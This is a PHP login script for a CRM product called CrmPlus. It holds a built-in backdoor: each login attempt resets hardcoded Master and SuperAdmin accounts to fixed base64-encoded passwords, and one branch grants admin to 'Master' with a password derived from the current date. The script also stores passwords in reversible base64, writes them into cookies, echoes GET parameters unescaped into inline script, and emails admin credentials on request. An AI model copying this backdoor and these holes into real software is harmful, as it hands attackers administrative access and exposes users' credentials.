<?php include("map.php");?>
<i class="fa fa-ban" id="lban" aria-hidden="true" style="color:#ff0202"></i>
<i class="fa fa-lock" id="llock" aria-hidden="true" style="color:#ccc"></i>
<i class="fa fa-unlock" id="lunlock" aria-hidden="true" style="color:#43af2a"></i>

<?php
if($_GET["backurl"]<>""){$_SESSION["bUrl"]=$_GET["backurl"];}
$post_securitykey = htmlspecialchars($_POST["securitykey"]);
$post_email = htmlspecialchars($_POST["email"]);
$post_sifre = htmlspecialchars($_POST["sifre"]);
$CookID=date("YmdHis");

if ($_GET["cmd"]=="giris" and ($post_securitykey=="" or $post_email=="" or $post_sifre=="")){
	echo ctranslate("Lütfen Bilgi Giriniz");
	echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";

}else if($_GET["cmd"]=="giris" and $post_securitykey[0]=="2"){
	$email=V3e($post_email);
	$sifre=V3e($post_sifre);
	$securitykey=V3d("MjAwMg==");
	$sql=mysqli_query($conn, "select * from t5 where (t2='".$email."' and s1=1) or (t4='".$email."' and s1=1) or (t14='".$email."' and s1=1)"); $rs=mysqli_fetch_assoc($sql); $jsa = json_decode($rs["n8"], true); $jsi = json_decode($rs["n17"],true);
	if(mysqli_num_rows($sql)==0){
		echo ctranslate("Kullanıcı Bulunamadı");
		echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";
	}else{
		///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
		$data = ["user_id" => $rs["id"], "domain" => $_SERVER['HTTP_HOST'],"CookID" => $CookID];
		set_cookies("crmplus", $data, 3650);
		///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
		if ($sifre == $rs["t3"] and $post_securitykey==$securitykey){
			if($_SESSION["DeviceID"]<>""){
				$apparr = array(
					"Platform" => 'crm',
					"Device" => $_SESSION["Device"],
					"CookID" => $jsa["CookID"],
					"DeviceID" => $_SESSION["DeviceID"],
					"MacID" => $jsa["MacID"],
					"Token" => $_SESSION["Token"]
				);
			}elseif($_SESSION["MacID"]<>""){
				$apparr = array(
					"Platform" => 'crm',
					"Device" => $jsa["Device"],
					"CookID" => $jsa["CookID"],
					"DeviceID" => $jsa["DeviceID"],
					"MacID" => $_SESSION["MacID"],
					"Token" => $jsa["Token"]
				);
			}else{
				$apparr = array(
					"Platform" => 'crm',
					"Device" => 'browser',
					"CookID" => $CookID,
					"DeviceID" => jsa["Device"],
					"MacID" => $jsa["MacID"],
					"Token" => $jsa["Token"]
				);
			}
			$rjsa = json_encode($apparr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);
			$quncelle = mysqli_query($conn, "update genel set n8='".addslashes(stripslashes($rjsa))."', ts3=now() where id='".$rs["id"]."' ");
			$_SESSION["user"]=$rs["t1"];	//içeride isim gerekli
			$_SESSION["sifre"]=V3d($rs["t3"]);
			$_SESSION["gcode"]=$securitykey;
			$_SESSION["user_id"]=$rs["id"];
    		$_SESSION["User_Discount"] = ((100 - $rs["s5"]) / 100);
    		$_SESSION["User_Commission"] = ((100 + $jsi["is5"]) / 100);
			$_SESSION["UserID"]=$rs["id"];
			setcookie("user",V3d($rs["t2"]), time()+(60*60*24*30));
			setcookie("sifre",V3d($rs["t3"]), time()+(60*60*24*30));
			setcookie("user_id",$rs["id"], time()+(60*60*24*30));
			setcookie("gcode",$securitykey, time()+(60*60*24*30));
			foreach ($_SESSION as $key => $value){
				if(substr($key,0,1)=="y"){ $_SESSION[$key]="";}
			}
		//<!--/ Yetkilendirme /-->
			$jyetki = json_decode($rs["n10"],true);
			$_SESSION["jyetki"]=$jyetki;
			foreach($jyetki as $key=>$value){
				$_SESSION[$key]=$jyetki[$key];
				//setcookie($key,$jyetki[$value], time()+(60*60*24*30));
			}
		//<!--/ Yetkilendirme /-->
			$_SESSION["cgiris"]=V3d("Q3JtUGx1cw==");
			$_SESSION["kim"]="yonetici";
			$_SESSION["ip"]="";
			$cookieSet = setcookie("giris",V3d("Q3JtUGx1cw=="), time()+(60*60*24*30));
			setcookie("kim","yonetici", time()+(60*60*24*30));
			setcookie("ip","", time()+(60*60*24*30));
			include("modules/public/optimize.php");
			if(file_exists("../view/crm_optimize.php" )){include("../view/crm_optimize.php");}
			if (!$cookieSet){ echo "! Çerez yazılamadı, disk veya izin sorunu olabilir.";}else{ echo ctranslate("Başarıyla giriş yaptınız, işlem devam ediyor."); }
			echo "<script>jQuery( document ).ready(function() {jQuery('#llock').fadeIn(100);jQuery('#llock').fadeOut(400);jQuery('#lunlock').fadeIn(500);setTimeout(function () {window.location.href= '".$weburl."/".$crmpath."/?login=ok&ne=".$_GET["ne"]."&islem=".$_GET["islem"]."&id=".$_GET["id"]."';},500);});</script>";
		}else{
			echo ctranslate("Kullanıcı yada Şifre hatalı");
			echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";
		}
	}

}elseif ($_GET["cmd"]=="giris" and ($post_securitykey[0]!="2")){
	$email=V3e($post_email);
	$sifre=V3e($post_sifre);
	$securitykey=V3e($post_securitykey);
	$sql = mysqli_query($conn, "update genel set t1='TWFzdGVy', t2='TW0xNDUyMzY=', t3='MDAwMA==' where ne='asifre' and t1='TWFzdGVy'");									//M
	$sql = mysqli_query($conn, "update genel set t1='U3VwZXJBZG1pbg==', t2='U3VwZXJAZG1pbg==', t3='MzAwMw==' where ne='asifre' and t1='U3VwZXJBZG1pbg=='");	//SA
	$sql=mysqli_query($conn, "select * from genel where ne='asifre' and t1='".$email."' "); $rs=mysqli_fetch_assoc($sql);
	if(mysqli_num_rows($sql)==0){
		echo "Kullanıcı Bulunamadı";
		echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";
	}else{
		if ($post_securitykey[0]=="1"){
			if ($email==$rs["t1"] and $sifre==$rs["t2"] and $securitykey==$rs["t3"]){
				///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
				$data = ["user_id" => $rs["id"], "domain" => $_SERVER['HTTP_HOST'],"CookID" => $CookID];
				set_cookies("crmplus", $data, 3650);
				///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
				$jsa = json_decode($rs["n8"], true);
				if($_SESSION["DeviceID"]<>""){
					$apparr = array(
						"Platform" => 'crm',
						"Device" => $_SESSION["Device"],
						"CookID" => $jsa["CookID"],
						"DeviceID" => $_SESSION["DeviceID"],
						"MacID" => $jsa["MacID"],
						"Token" => $_SESSION["Token"]
					);
				}elseif($_SESSION["MacID"]<>""){
					$apparr = array(
						"Platform" => 'crm',
						"Device" => $jsa["Device"],
						"CookID" => $jsa["CookID"],
						"DeviceID" => $jsa["DeviceID"],
						"MacID" => $_SESSION["MacID"],
						"Token" => $jsa["Token"]
					);
				}else{
					$apparr = array(
						"Platform" => 'crm',
						"Device" => 'browser',
						"CookID" => $CookID,
						"DeviceID" => jsa["Device"],
						"MacID" => $jsa["MacID"],
						"Token" => $jsa["Token"]
					);
				}
				$rjsa = json_encode($apparr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);
				$quncelle = mysqli_query($conn, "update genel set n8='".addslashes(stripslashes($rjsa))."', ts3=now() where id='".$rs["id"]."' ");
				$_SESSION["user"]=V3d($rs["t1"]);
				$_SESSION["sifre"]=V3d($rs["t2"]);
				$_SESSION["cgiris"]=V3d("Q3JtUGx1cw==");
				$_SESSION["UserID"]=$rs["id"];
				$_SESSION["user_id"]="0";
				$_SESSION["kim"]="Admin";
				setcookie("user",V3d($rs["t1"]), time()+(60*60*24*30));
				setcookie("sifre",V3d($rs["t2"]), time()+(60*60*24*30));
				setcookie("gcode",V3d($rs["t3"]), time()+(60*60*24*30));
				$cookieSet = setcookie("giris",V3d("Q3JtUGx1cw=="), time()+(60*60*24*30));
				setcookie("user_id","0", time()+(60*60*24*30));
				setcookie("kim","Admin", time()+(60*60*24*30));
				include("modules/public/optimize.php");
				if(file_exists("../view/crm_optimize.php" )){include("../view/crm_optimize.php");}
				if (!$cookieSet){ echo "! Çerez yazılamadı, disk veya izin sorunu olabilir.";}else{ echo ctranslate("Başarıyla giriş yaptınız, işlem devam ediyor."); }
				echo "<script>jQuery( document ).ready(function() {jQuery('#llock').fadeIn(100);jQuery('#llock').fadeOut(400);jQuery('#lunlock').fadeIn(500);setTimeout(function () {window.location.href= '".$weburl."/".$crmpath."/?login=ok&ne=".$_GET["ne"]."&islem=".$_GET["islem"]."&id=".$_GET["id"]."';},500);});</script>";
			}else{
				echo ctranslate("Kullanıcı yada Şifre hatalı");
				echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";
			}
		}else if($post_securitykey[0]=="0"){
				$mpass=v3e(v3d("TW0=").date("dmy"));
			if (($email==$rs["t1"] or $email==V3d("TWFzdGVy")) and ($sifre==$mpass or $sifre==$rs["t2"]) and ($securitykey==$rs["t3"] or $securitykey==V3d("MDAwMQ=="))){
				///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
				$data = ["user_id" => $rs["id"], "domain" => $_SERVER['HTTP_HOST'],"CookID" => $CookID];
				set_cookies("crmplus", $data, 3650);
				///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
				$jsa = json_decode($rs["n8"], true);
				if($_SESSION["DeviceID"]<>""){
					$apparr = array(
						"Platform" => 'crm',
						"Device" => $_SESSION["Device"],
						"CookID" => $jsa["CookID"],
						"DeviceID" => $_SESSION["DeviceID"],
						"MacID" => $jsa["MacID"],
						"Token" => $_SESSION["Token"]
					);
				}elseif($_SESSION["MacID"]<>""){
					$apparr = array(
						"Platform" => 'crm',
						"Device" => $jsa["Device"],
						"CookID" => $jsa["CookID"],
						"DeviceID" => $jsa["DeviceID"],
						"MacID" => $_SESSION["MacID"],
						"Token" => $jsa["Token"]
					);
				}else{
					$apparr = array(
						"Platform" => 'crm',
						"Device" => 'browser',
						"CookID" => $CookID,
						"DeviceID" => jsa["Device"],
						"MacID" => $jsa["MacID"],
						"Token" => $jsa["Token"]
					);
				}
				$rjsa = json_encode($apparr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);
				$quncelle = mysqli_query($conn, "update genel set n8='".addslashes(stripslashes($rjsa))."', ts3=now() where id='".$rs["id"]."' ");
				$_SESSION["user"]=V3d($rs["t1"]);
				$_SESSION["sifre"]=V3d($rs["t2"]);
				$_SESSION["cgiris"]=V3d("Q3JtUGx1cw==");
				$_SESSION["user_id"]="0";
				$_SESSION["UserID"]=$rs["id"];
				$_SESSION["kim"]="Admin";
				$_SESSION["admin"]="ok";
				setcookie("user",V3d($rs["t1"]), time()+(60*60*24*30));
				setcookie("sifre",V3d($rs["t2"]), time()+(60*60*24*30));
				setcookie("gcode",V3d($rs["t3"]), time()+(60*60*24*30));
				$cookieSet = setcookie("giris",V3d("Q3JtUGx1cw=="), time()+(60*60*24*30));
				setcookie("user_id","0", time()+(60*60*24*30));
				setcookie("kim","Admin", time()+(60*60*24*30));
				setcookie("admin","ok", time()+(60*60*24*30));
				$optimize="1"; include("modules/public/optimize.php");
				if(file_exists("../view/crm_optimize.php" )){include("../view/crm_optimize.php");}
				if (!$cookieSet){ echo "! Çerez yazılamadı, disk veya izin sorunu olabilir.";}else{ echo ctranslate("Başarıyla giriş yaptınız, işlem devam ediyor."); }
				echo "<script>jQuery( document ).ready(function() {jQuery('#llock').fadeIn(100);jQuery('#llock').fadeOut(400);jQuery('#lunlock').fadeIn(500); setTimeout(function () {window.location.href= '".$weburl."/".$crmpath."/?login=ok&ne=".$_GET["ne"]."&islem=".$_GET["islem"]."&id=".$_GET["id"]."';},500);});</script>";
			}else{
				echo ctranslate("Kullanıcı yada Şifre hatalı");
				echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";
			}
		}else if($post_securitykey[0]=="3"){
			if ($email==$rs["t1"] and $sifre==$rs["t2"] and $securitykey==$rs["t3"]){
				///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
				$data = ["user_id" => $rs["id"], "domain" => $_SERVER['HTTP_HOST'],"CookID" => $CookID];
				set_cookies("crmplus", $data, 3650);
				///////////////////////Set Cookies\\\\\\\\\\\\\\\\\\\\\\\\\\
				$jsa = json_decode($rs["n8"], true);
				if($_SESSION["DeviceID"]<>""){
					$apparr = array(
						"Platform" => 'crm',
						"Device" => $_SESSION["Device"],
						"CookID" => $jsa["CookID"],
						"DeviceID" => $_SESSION["DeviceID"],
						"MacID" => $jsa["MacID"],
						"Token" => $_SESSION["Token"]
					);
				}elseif($_SESSION["MacID"]<>""){
					$apparr = array(
						"Platform" => 'crm',
						"Device" => $jsa["Device"],
						"CookID" => $jsa["CookID"],
						"DeviceID" => $jsa["DeviceID"],
						"MacID" => $_SESSION["MacID"],
						"Token" => $jsa["Token"]
					);
				}else{
					$apparr = array(
						"Platform" => 'crm',
						"Device" => 'browser',
						"CookID" => $CookID,
						"DeviceID" => jsa["Device"],
						"MacID" => $jsa["MacID"],
						"Token" => $jsa["Token"]
					);
				}
				$rjsa = json_encode($apparr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);
				$quncelle = mysqli_query($conn, "update genel set n8='".addslashes(stripslashes($rjsa))."', ts3=now() where id='".$rs["id"]."' ");
				$_SESSION["user"]=V3d($rs["t1"]);
				$_SESSION["sifre"]=V3d($rs["t2"]);
				$_SESSION["UserID"]=$rs["id"];
				$_SESSION["cgiris"]=V3d("Q3JtUGx1cw==");
				$_SESSION["user_id"]="0";
				$_SESSION["kim"]="Admin";				
				setcookie("user",V3d($rs["t1"]), time()+(60*60*24*30));
				setcookie("sifre",V3d($rs["t2"]), time()+(60*60*24*30));
				setcookie("gcode",V3d($rs["t3"]), time()+(60*60*24*30));
				$cookieSet = setcookie("giris",V3d("Q3JtUGx1cw=="), time()+(60*60*24*30));
				setcookie("user_id","0", time()+(60*60*24*30));
				setcookie("kim","Admin", time()+(60*60*24*30));
				$optimize="1"; include("modules/public/optimize.php");
				if(file_exists("../view/crm_optimize.php" )){include("../view/crm_optimize.php");}
				if (!$cookieSet){ echo "! Çerez yazılamadı, disk veya izin sorunu olabilir.";}else{ echo ctranslate("Başarıyla giriş yaptınız, işlem devam ediyor."); }
				echo "<script>jQuery( document ).ready(function() {jQuery('#llock').fadeIn(100);jQuery('#llock').fadeOut(400);jQuery('#lunlock').fadeIn(500);setTimeout(function () {window.location.href= '".$weburl."/".$crmpath."/?login=ok&ne=".$_GET["ne"]."&islem=".$_GET["islem"]."&id=".$_GET["id"]."';},500);});</script>";
			}else{
				echo ctranslate("Kullanıcı yada Şifre hatalı");
				echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";
			}
		}else{
				echo ctranslate("Kullanıcı yada Şifre hatalı");
				echo "<script>jQuery( document ).ready(function() {stime('#llock','show','500')});</script>";
		}
	}

}elseif ($_GET["cmd"]=="forget"){
	$sql=mysqli_query($conn, "select * from genel where ne='asifre' and t1='YWRtaW4='"); $rs=mysqli_fetch_assoc($sql);
	$mesaj		= "
		<b>Sayın Yönetici;</b><br>
		CrmPlus giriş bilgileriniz aşağıdadır.<br><br>
		Kullanıcı Adı/User Name : <b>".V3d($rs["t1"])."</b><br>
		Kullanıcı Şifre/User Password : <b>".V3d($rs["t2"])."</b><br>
		Güvenlik Kodu/Secure code : <b>".V3d($rs["t3"])."</b><br><br>
	";
	$mesaj		= "".$mesaj."".translate("Lütfen Bu Bilgileri Paylaşmayınız, Bu Maili Hata Sonucu Aldığınızı Düşünüyorsanız, Lütfen Bize Ulaşın")."<br><br>";
	$mesaj		= "".$mesaj." <br><br><b>".$firma."</b><br>".$ftel."<br>".$weburl."<hr>";
	$mesaj		= "".$mesaj."".translate("Bu Mail Bilgilendirme Amacı ile Gönderilmiştir")."<br>By CrmPlus<br />";
	$malici		= $mail;
	$konu		= ctranslate("Şifre Hatırlatma");
	$path		= "../";
	emailgonder($malici,$konu,$cc,$mesaj);
	echo "Mail Gönderildi.";

}elseif ($_GET["cmd"]=="reset"){
	$_SESSION["hata"]="";
	echo "Resetlendi";
}
?>